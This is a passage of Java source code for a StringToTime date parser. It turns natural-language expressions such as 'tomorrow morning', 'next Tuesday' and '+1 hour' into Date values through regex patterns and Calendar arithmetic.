Format(\"MMM d, y\")\n\t\t),\n\t\t\n\t\t// e.g., 10/26/1981 or 10/26/81\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"\\\\d{1,2}/\\\\d{1,2}/\\\\d{2,4}\"),\n\t\t\tnew Format(\"M/d/y\")\n\t\t),\n\t\t\n\t\t// e.g., 10-26-1981 or 10-26-81\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"\\\\d{1,2}\\\\-\\\\d{1,2}\\\\-\\\\d{2,4}\"),\n\t\t\tnew Format(\"M-d-y\")\n\t\t),\n\t\t\n\t\t// e.g., 10/26 or 10-26\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"(\\\\d{1,2})(/|\\\\-)(\\\\d{1,2})\"),\n\t\t\tnew Format(FormatType.MONTH_AND_DATE_WITH_SLASHES)\n\t\t),\n\t\t\n\t\t// e.g., 1981/10/26\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"\\\\d{4}/\\\\d{1,2}/\\\\d{1,2}\"),\n\t\t\tnew Format(\"y/M/d\")\n\t\t),\n\t\t\n\t\t// e.g., 1981-10-26\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"\\\\d{4}\\\\-\\\\d{1,2}\\\\-\\\\d{1,2}\"),\n\t\t\tnew Format(\"y-M-d\")\n\t\t),\n\t\t\n\t\t// e.g., October or Oct\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"(Jan(uary)?|Feb(ruary)?|Mar(ch)?|Apr(il)?|May|Jun(e)?|Jul(y)?|Aug(ust)?|Sep(tember)?|Oct(ober)?|Nov(ember)?|Dec(ember)?)\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.MONTH)\n\t\t),\n\t\t\n\t\t// e.g., Tuesday or Tue\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"(Sun(day)?|Mon(day)?|Tue(sday)?|Wed(nesday)?|Thu(rsday)?|Fri(day)?|Sat(urday)?)\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.DAY_OF_WEEK)\n\t\t),\n\t\t\t\t\n\t\t// next, e.g., next Tuesday\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"next +(.*)\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.NEXT)\n\t\t),\n\t\t\n\t\t// last, e.g., last Tuesday\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"last +(.*)\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.LAST)\n\t\t),\n\t\t\n\t\t// compound statement\n\t\tnew PatternAndFormat(\n\t\t\tPattern.compile(\"(.*) +(((\\\\+|\\\\-){1}.*)|\"+timeExpr+\")$\", Pattern.CASE_INSENSITIVE),\n\t\t\tnew Format(FormatType.COMPOUND)\n\t\t)\n\t\t\n\t\t\n\t};\n\t\n\t/** Date/Time string parsed */\n\tprivate Object dateTimeString;\n\t\n\t/** The format to use in {@link #toString()) */\n\tprivate String simpleDateFormat;\n\t\n\t/** The {@link java.util.Date} interpreted from {@link #dateTimeString}, or {@link java.lang.Boolean} <code>false</code> */\n\tprivate Object date;\n\t\n\t\n\tpublic StringToTime() {\n\t\tsuper();\n\t\tthis.date = new Date(this.getTime());\n\t}\n\t\n\tpublic StringToTime(Date date) {\n\t\tsuper(date.getTime());\n\t\tthis.date = new Date(this.getTime());\n\t}\n\t\n\tpublic StringToTime(Object dateTimeString) {\n\t\tthis(dateTimeString, new Date(), defaultSimpleDateFormat);\n\t}\n\t\n\tpublic StringToTime(Object dateTimeString, String simpleDateFormat) {\n\t\tthis(dateTimeString, new Date(), simpleDateFormat);\n\t}\n\t\n\tpublic StringToTime(Object dateTimeString, Date now) {\n\t\tthis(dateTimeString, now, defaultSimpleDateFormat);\n\t}\n\t\n\tpublic StringToTime(Object dateTimeString, Long now) {\n\t\tthis(dateTimeString, new Date(now), defaultSimpleDateFormat);\n\t}\n\t\n\tpublic StringToTime(Object dateTimeString, Integer now) {\n\t\tthis(dateTimeString, new Date(new Long(now)), defaultSimpleDateFormat);\n\t}\n\t\n\tpublic StringToTime(Object dateTimeString, Date now, String simpleDateFormat) {\n\t\tsuper(0);\n\t\tassert dateTimeString != null;\n        assert now != null;\n        assert simpleDateFormat != null;\n\t\t\n\t\tthis.dateTimeString = dateTimeString;\n\t\tthis.simpleDateFormat = simpleDateFormat;\n\t\t\n\t\tdate = StringToTime.date(dateTimeString, now);\n\t\tif (!Boolean.FALSE.equals(date))\n\t\t\tsetTime(((Date) date).getTime());\n\t\telse\n\t\t\tthrow new StringToTimeException(dateTimeString);\n\t}\n\t\n\t/**\n\t * @return {@link java.util.Date#getTime()}\n\t */\n\tpublic long getTime() {\n\t\treturn super.getTime();\n\t}\n\t\n\t/**\n\t * @return Calendar set to timestamp {@link java.util.Date#getTime()}\n\t */\n\tpublic Calendar getCal() {\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTimeInMillis(super.getTime());\n\t\treturn cal;\n\t}\n\t\n\t/**\n\t * @param simpleDateFormat\n\t * @see {@link SimpleDateFormat}\n\t * @return Date formatted according to <code>simpleDateFormat</code>\n\t */\n\tpublic String format(String simpleDateFormat) {\n\t\treturn new SimpleDateFormat(simpleDateFormat).format(this);\n\t}\n\t\n\t/**\n\t * @return If {@link #simpleDateFormat} provided in constructor, then attempts to format <code>date</code>\n\t * accordingly; otherwise, returns the <code>String</code> value of {@link java.util.Date#getTime()}.\n\t */\n\tpublic String toString() {\n\t\tif (simpleDateFormat != null)\n\t\t\treturn new SimpleDateFormat(simpleDateFormat).format(this);\n\t\telse\n\t\t\treturn new SimpleDateFormat(\"yyyy/dd/MM\").format(this); //String.valueOf(super.getTime());\n\t}\n\t\n\t\n\t/**\n\t * A single parameter version of {@link #time(String, Date)}, passing a new instance of {@link java.util.Date} as the\n\t * second parameter.\n\t * @param dateTimeString\n\t * @return A {@link java.lang.Long} timestamp representative of <code>dateTimeString</code>, or {@link java.lang.Boolean} <code>false</code>.\n\t * @see #time(String, Date)\n\t */\n\tpublic static Object time(Object dateTimeString) {\n\t\treturn time(dateTimeString, new Date());\n\t}\n\t\n\t/**\n\t * Parse <code>dateTimeString</code> and produce a timestamp. \n\t * @param dateTimeString\n\t * @param now \n\t * @return <ul>\n\t * <li>If equal to &quot;now&quot;, return the number of milliseconds since January 1, 1970 or the value of <code>now</code>.</li>\n\t * <li>If an incremental or decremental statement, e.g., +1 hour or -1 week, or a composite thereof, e.g., +1 hour 1 minute 1 second,\n\t * returns a date equal to the increment/decrement plus the value of <code>now</code>.\n\t * </ul>\n\t */\n\tpublic static Object time(Object dateTimeString, Date now) {\n\t\ttry {\n\t\t\tif (dateTimeString == null)\n\t\t\t\treturn Boolean.FALSE;\n\t\t\telse {\n\t\t\t\tString trimmed = String.valueOf(dateTimeString).trim();\n\t\t\t\tfor(PatternAndFormat paf : known) {\n\t\t\t\t\tMatcher m = paf.matches(trimmed);\n\t\t\t\t\tif (m.matches()) {\n\t\t\t\t\t\tLong time = paf.parse(trimmed, now, m);\n\t\t\t\t\t\t//System.out.println(String.format(\"[%s] triggered format [%s]: %s\", dateTimeString, paf.f, new Date(time)));\n\t\t\t\t\t\tif (log.isDebugEnabled())\n\t\t\t\t\t\t\tlog.debug(String.format(\"[%s] triggered format [%s]: %s\", dateTimeString, paf.f, new Date(time)));\n\t\t\t\t\t\treturn time;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// no match\n\t\t\t\tif (log.isDebugEnabled())\n\t\t\t\t\tlog.debug(String.format(\"Unrecognized date/time string [%s]\", dateTimeString));\n\t\t\t\treturn Boolean.FALSE;\n\t\t\t}\n\t\t} catch (Exception e) { // thrown by various features of the parser\n\t\t\tif (!Boolean.parseBoolean(System.getProperty(StringToTime.class+\".EXCEPTION_ON_PARSE_FAILURE\", \"false\"))) {\n\t\t\t\tif (log.isDebugEnabled())\n\t\t\t\t\tlog.debug(String.format(\"Failed to parse [%s] into a java.util.Date instance\", dateTimeString));\n\t\t\t\treturn Boolean.FALSE;\n\t\t\t}\n\t\t\telse\n\t\t\t\tthrow new StringToTimeException(dateTimeString, e);\n\t\t}\n\t}\n\t\n\tprivate static ParserResult getParserResult(String trimmedDateTimeString, Date now) throws ParseException {\n\t\tfor(PatternAndFormat paf : known) {\n\t\t\tMatcher m = paf.matches(trimmedDateTimeString);\n\t\t\tif (m.matches()) {\n\t\t\t\tlog.debug(String.format(\"Date/time string [%s] triggered format [%s]\", trimmedDateTimeString, paf.f));\n\t\t\t\treturn new ParserResult(paf.parse(trimmedDateTimeString, now, m), paf.f.type);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn null;\n\t}\n\t\n\tpublic static Object date(Object dateTimeString) {\n\t\treturn date(dateTimeString, new Date());\n\t}\n\t\n\tpublic static Object date(Object dateTimeString, Date now) {\n\t\tObject time = time(dateTimeString, now);\n\t\treturn (Boolean.FALSE.equals(time)) ? Boolean.FALSE : new Date((Long) time);\n\t}\n\t\n\tpublic static Object cal(Object dateTimeString) {\n\t\treturn cal(dateTimeString, new Date());\n\t}\n\t\n\tpublic static Object cal(Object dateTimeString, Date now) {\n\t\tObject date = date(dateTimeString, now);\n\t\tif (Boolean.FALSE.equals(date))\n\t\t\treturn Boolean.FALSE;\n\t\telse {\n\t\t\tCalendar cal = Calendar.getInstance();\n\t\t\tcal.setTime((Date) date);\n\t\t\treturn cal;\n\t\t}\n\t}\n\t\n\tprivate static class PatternAndFormat {\n\t\tpublic Pattern p;\n\t\tpublic Format f;\n\t\t\n\t\tpublic PatternAndFormat(Pattern p, Format f) {\n\t\t\tthis.p = p;\n\t\t\tthis.f = f;\n\t\t}\n\t\t\n\t\tpublic Matcher matches(String dateTimeString) {\n\t\t\treturn p.matcher(dateTimeString);\n\t\t}\n\t\t\n\t\tpublic Long parse(String dateTimeString, Date now, Matcher m) throws ParseException {\n\t\t\treturn f.parse(dateTimeString, now, m).getTime();\n\t\t}\n\t}\n\t\n\tprivate static class ParserResult {\n\t\tpublic FormatType type;\n\t\tpublic Long timestamp;\n\t\t\n\t\tpublic ParserResult(Long timestamp, FormatType type) {\n\t\t\tthis.timestamp = timestamp;\n\t\t\tthis.type = type;\n\t\t}\n\t}\n\t\n\tprivate static class Format {\n\t\t\n\t\tprivate static Pattern unit = Pattern.compile(\"(\\\\d{1,}) +(s(ec(ond)?)?|mo(n(th)?)?|(hour|hr?)|d(ay)?|(w(eek)?|wk)|m(in(ute)?)?|(y(ear)?|yr))s?\");\n\t\t\n\t\tprivate static Pattern removeExtraSpaces = Pattern.compile(\" +\");\n\t\t\n\t\tprivate static Map<String, Integer> translateDayOfWeek = new HashMap<String, Integer>();\n\t\t\n\t\tstatic {\n\t\t\ttranslateDayOfWeek.put(\"sunday\", 1);\n\t\t\ttranslateDayOfWeek.put(\"sun\", 1);\n\t\t\ttranslateDayOfWeek.put(\"monday\", 2);\n\t\t\ttranslateDayOfWeek.put(\"mon\", 2);\n\t\t\ttranslateDayOfWeek.put(\"tuesday\", 3);\n\t\t\ttranslateDayOfWeek.put(\"tue\", 3);\n\t\t\ttranslateDayOfWeek.put(\"wednesday\", 4);\n\t\t\ttranslateDayOfWeek.put(\"wed\", 4);\n\t\t\ttranslateDayOfWeek.put(\"thursday\", 5);\n\t\t\ttranslateDayOfWeek.put(\"thu\", 5);\n\t\t\ttranslateDayOfWeek.put(\"friday\", 6);\n\t\t\ttranslateDayOfWeek.put(\"fri\", 6);\n\t\t\ttranslateDayOfWeek.put(\"saturday\", 7);\n\t\t\ttranslateDayOfWeek.put(\"sat\", 7);\n\t\t}\n\t\t\n\t\tprivate String sdf;\n\t\t\n\t\tprivate FormatType type;\n\t\t\n\t\tpublic Format(FormatType type) {\n\t\t\tthis.type = type;\n\t\t}\n\t\t\n\t\tpublic Format(String sdf) {\n\t\t\tthis.sdf = sdf;\n\t\t}\n\t\t\n\t\tpublic String toString() {\n\t\t\tif (sdf != null)\n\t\t\t\treturn sdf;\n\t\t\telse\n\t\t\t\treturn type.toString();\n\t\t}\n\t\t \n\t\tpublic Date parse(String dateTimeString, Date now, Matcher m) throws ParseException {\n\t\t\tif (sdf != null)\n\t\t\t\treturn new SimpleDateFormat(sdf).parse(dateTimeString);\n\t\t\telse {\n\t\t\t\tdateTimeString = removeExtraSpaces.matcher(dateTimeString).replaceAll(\" \").toLowerCase();\n\t\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\tCalendar cal = Calendar.getInstance();\n\t\t\t\t\tcal.setTime(now);\n\t\t\t\t\t\n\t\t\t\t\t// word expressions, e.g., \"now\" and \"today\" and \"tonight\"\n\t\t\t\t\tif (type == FormatType.WORD) {\n\t\t\t\t\t\tif (\"now\".equals(dateTimeString))\n\t\t\t\t\t\t\treturn (now != null ? now : new Date());\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"today\".equals(dateTimeString)) {\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"morning\".equals(dateTimeString) || \"this morning\".equals(dateTimeString)) {\n\t\t\t\t\t\t\t// by default, this morning begins at 07:00:00.000\n\t\t\t\t\t\t\tint thisMorningBeginsAt = Integer.parseInt(System.getProperty(StringToTime.class+\".THIS_MORNING_BEGINS_AT\", \"7\"));\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, thisMorningBeginsAt);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"noon\".equals(dateTimeString)) {\n\t\t\t\t\t\t\t// noon is 12:00:00.000\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, 12);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"afternoon\".equals(dateTimeString) || \"this afternoon\".equals(dateTimeString)) {\n\t\t\t\t\t\t\t// by default, this afternoon begins at 13:00:00.000\n\t\t\t\t\t\t\tint thisAfternoonBeginsAt = Integer.parseInt(System.getProperty(StringToTime.class+\".THIS_AFTERNOON_BEGINS_AT\", \"13\"));\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, thisAfternoonBeginsAt);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"evening\".equals(dateTimeString) || \"this evening\".equals(dateTimeString)) {\n\t\t\t\t\t\t\t// by default, this evening begins at 17:00:00.000\n\t\t\t\t\t\t\tint thisEveningBeginsAt = Integer.parseInt(System.getProperty(StringToTime.class+\".THIS_EVENING_BEGINS_AT\", \"17\"));\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, thisEveningBeginsAt);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"tonight\".equals(dateTimeString)) {\n\t\t\t\t\t\t\t// by default, tonight begins at 20:00:00.000\n\t\t\t\t\t\t\tint tonightBeginsAt = Integer.parseInt(System.getProperty(StringToTime.class+\".TONIGHT_BEGINS_AT\", \"20\"));\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, tonightBeginsAt);\n\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.SECOND, 0);\n\t\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, 0);\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"midnight\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"00:00:00 +24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"tomorrow\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"now +24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"tomorrow morning\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"morning +24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"tomorrow noon\".equals(dateTimeString) || \"noon tomorrow\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"noon +24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"tomorrow afternoon\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"afternoon +24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"tomorrow evening\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"evening +24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"tomorrow night\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"tonight +24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"yesterday\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"now -24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"yesterday morning\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"morning -24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"yesterday noon\".equals(dateTimeString) || \"noon yesterday\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"noon -24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"yesterday afternoon\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"afternoon -24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"yesterday evening\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"evening -24 hours\", now);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse if (\"yesterday night\".equals(dateTimeString)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"tonight -24 hours\", now);\n\t\t\t\t\t\t}\n \t\t\t\t\t\t\n \t\t\t\t\t\t\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tthrow new ParseException(String.format(\"Unrecognized date word: %s\", dateTimeString), 0);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// time expressions, 24-hour and 12-hour\n\t\t\t\t\telse if (type == FormatType.TIME) {\n\t\t\t\t\t\t// An expression of time (hour)(:(minute))?((:(second))(.(millisecond))?)?( *(am?|pm?))?(RFC 822 time zone|general time zone)?\n\t\t\t\t\t\tString hour = m.group(1);\n\t\t\t\t\t\tString min = m.group(3);\n\t\t\t\t\t\tString sec = m.group(5);\n\t\t\t\t\t\tString ms = m.group(7);\n\t\t\t\t\t\tString amOrPm = m.group(8);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (hour != null) {\n\t\t\t\t\t\t\tif (amOrPm != null)\n\t\t\t\t\t\t\t\tcal.set(Calendar.HOUR, new Integer(hour));\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, new Integer(hour));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tcal.set(Calendar.HOUR, 0);\n\t\t\t\t\t\t\n\t\t\t\t\t\tcal.set(Calendar.MINUTE, (min != null ? new Integer(min) : 0));\n\t\t\t\t\t\tcal.set(Calendar.SECOND, (sec != null ? new Integer(sec) : 0));\n\t\t\t\t\t\tcal.set(Calendar.MILLISECOND, (ms != null ? new Integer(ms) : 0));\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (amOrPm != null)\n\t\t\t\t\t\t\tcal.set(Calendar.AM_PM, (amOrPm.equals(\"a\") || amOrPm.equals(\"am\") ? Calendar.AM : Calendar.PM));\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// increments\n\t\t\t\t\telse if (type == FormatType.INCREMENT || type == FormatType.DECREMENT) {\n\t\t\t\t\t\tMatcher units = unit.matcher(dateTimeString);\n\t\t\t\t\t\twhile (units.find()) {\n\t\t\t\t\t\t\tInteger val = new Integer(units.group(1)) * (type == FormatType.DECREMENT ? -1 : 1);\n\t\t\t\t\t\t\tString u = units.group(2);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// second\n\t\t\t\t\t\t\tif (\"s\".equals(u) || \"sec\".equals(u) || \"second\".equals(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.SECOND, cal.get(Calendar.SECOND)+val);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// minute\n\t\t\t\t\t\t\telse if (\"m\".equals(u) || \"min\".equals(u) || \"minute\".equals(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.MINUTE, cal.get(Calendar.MINUTE)+val);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// hour\n\t\t\t\t\t\t\telse if (\"h\".equals(u) || \"hr\".equals(u) || \"hour\".equals(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.HOUR_OF_DAY, cal.get(Calendar.HOUR_OF_DAY)+val);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// day\n\t\t\t\t\t\t\telse if (\"d\".equals(u) || \"day\".equals(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.DATE, cal.get(Calendar.DATE)+val);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// week\n\t\t\t\t\t\t\telse if (\"w\".equals(u) || \"wk\".equals(u) || \"week\".equals(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.WEEK_OF_YEAR, cal.get(Calendar.WEEK_OF_YEAR)+val);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// month\n\t\t\t\t\t\t\telse if (\"mo\".equals(u) || \"mon\".equals(u) || \"month\".equals(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.MONTH, cal.get(Calendar.MONTH)+val);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// year\n\t\t\t\t\t\t\telse if (\"y\".equals(u) || \"yr\".equals(u) || \"year\".equals(u))\n\t\t\t\t\t\t\t\tcal.set(Calendar.YEAR, cal.get(Calendar.YEAR)+val);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tthrow new IllegalArgumentException(String.format(\"Unrecognized %s unit: [%s]\", type, u));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// compound expressions\n\t\t\t\t\telse if (type == FormatType.COMPOUND) {\n\t\t\t\t\t\tObject date = StringToTime.date(m.group(1), now);\n\t\t\t\t\t\tif (!Boolean.FALSE.equals(date))\n\t\t\t\t\t\t\treturn (Date) StringToTime.date(m.group(2), (Date) date);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tthrow new IllegalArgumentException(String.format(\"Couldn't parse %s, so couldn't compound with %s\", m.group(1), m.group(2)));\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// month of the year\n\t\t\t\t\telse if (type == FormatType.MONTH) {\n\t\t\t\t\t\tCalendar ref = Calendar.getInstance();\n\t\t\t\t\t\tref.setTime(new SimpleDateFormat(\"MMM d, y\").parse(String.format(\"%s 1, 1970\", m.group(1))));\n\t\t\t\t\t\tcal.set(Calendar.MONTH, ref.get(Calendar.MONTH));\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// day of week\n\t\t\t\t\telse if (type == FormatType.DAY_OF_WEEK) {\n\t\t\t\t\t\tInteger ref = translateDayOfWeek.get(dateTimeString);\n\t\t\t\t\t\tif (cal.get(Calendar.DAY_OF_WEEK) >= ref)\n\t\t\t\t\t\t\tcal.set(Calendar.WEEK_OF_YEAR, cal.get(Calendar.WEEK_OF_YEAR)+1);\n\t\t\t\t\t\tcal.set(Calendar.DAY_OF_WEEK, ref);\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// month and day with slashes\n\t\t\t\t\telse if (type == FormatType.MONTH_AND_DATE_WITH_SLASHES) {\n\t\t\t\t\t\tCalendar ref = Calendar.getInstance();\n\t\t\t\t\t\tref.setTime(new SimpleDateFormat(\"M/d/y\").parse(String.format(\"%s/%s/1970\", m.group(1), m.group(3))));\n\t\t\t\t\t\tcal.set(Calendar.MONTH, ref.get(Calendar.MONTH));\n\t\t\t\t\t\tcal.set(Calendar.DATE, ref.get(Calendar.DATE));\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// month and day long-hand\n\t\t\t\t\telse if (type == FormatType.MONTH_AND_DATE) {\n\t\t\t\t\t\tCalendar ref = Calendar.getInstance();\n\t\t\t\t\t\tref.setTime(new SimpleDateFormat(\"MMM d, y\").parse(String.format(\"%s %s, 1970\", m.group(1), m.group(2))));\n\t\t\t\t\t\tcal.set(Calendar.MONTH, ref.get(Calendar.MONTH));\n\t\t\t\t\t\tcal.set(Calendar.DATE, ref.get(Calendar.DATE));\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// next X\n\t\t\t\t\telse if (type == FormatType.NEXT) {\n\t\t\t\t\t\t// Format types MONTH and DAY_OF_WEEK both return future dates, so no additional processing is needed\n\t\t\t\t\t\tString expr = m.group(1);\n\t\t\t\t\t\tParserResult parsed = StringToTime.getParserResult(expr, now);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (parsed != null && ( FormatType.MONTH.equals(parsed.type) || FormatType.DAY_OF_WEEK.equals(parsed.type) || FormatType.MONTH_AND_DATE.equals(parsed.type)) ) \n\t\t\t\t\t\t\treturn new Date(parsed.timestamp);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tif (\"week\".equals(expr)) \n\t\t\t\t\t\t\t\tcal.set(Calendar.WEEK_OF_YEAR, cal.get(Calendar.WEEK_OF_YEAR)+1);\n\t\t\t\t\t\t\telse if (\"month\".equals(expr)) \n\t\t\t\t\t\t\t\tcal.set(Calendar.MONTH, cal.get(Calendar.MONTH)+1);\n\t\t\t\t\t\t\telse if (\"year\".equals(expr))\n\t\t\t\t\t\t\t\tcal.set(Calendar.YEAR, cal.get(Calendar.YEAR)+1);\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tthrow new IllegalArgumentException(String.format(\"Invalid expression of time: %s\", dateTimeString));\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn new Date(cal.getTimeInMillis());\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// last X\n\t\t\t\t\telse if (type == FormatType.LAST) {\n\t\t\t\t\t\tString expr = m.group(1);\n\t\t\t\t\t\tParserResult parsed = StringToTime.getParserResult(expr, now);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (parsed != null && (FormatType.MONTH.equals(parsed.type) || FormatType.MONTH_AND_DATE.equals(parsed.type))) {\n\t\t\t\t\t\t\treturn new StringToTime(\"-1 year\", new Date(parsed.timestamp));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telse if (parsed != null && FormatType.DAY_OF_WEEK.equals(parsed.type)) {\n\t\t\t\t\t\t\treturn new StringToTime(\"-1 week\", new Date(parsed.timestamp));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tif (\"week\".equals(expr)) \n\t\t\t\t\t\t\t\tcal.set(Calendar.WEEK_OF_YEAR, 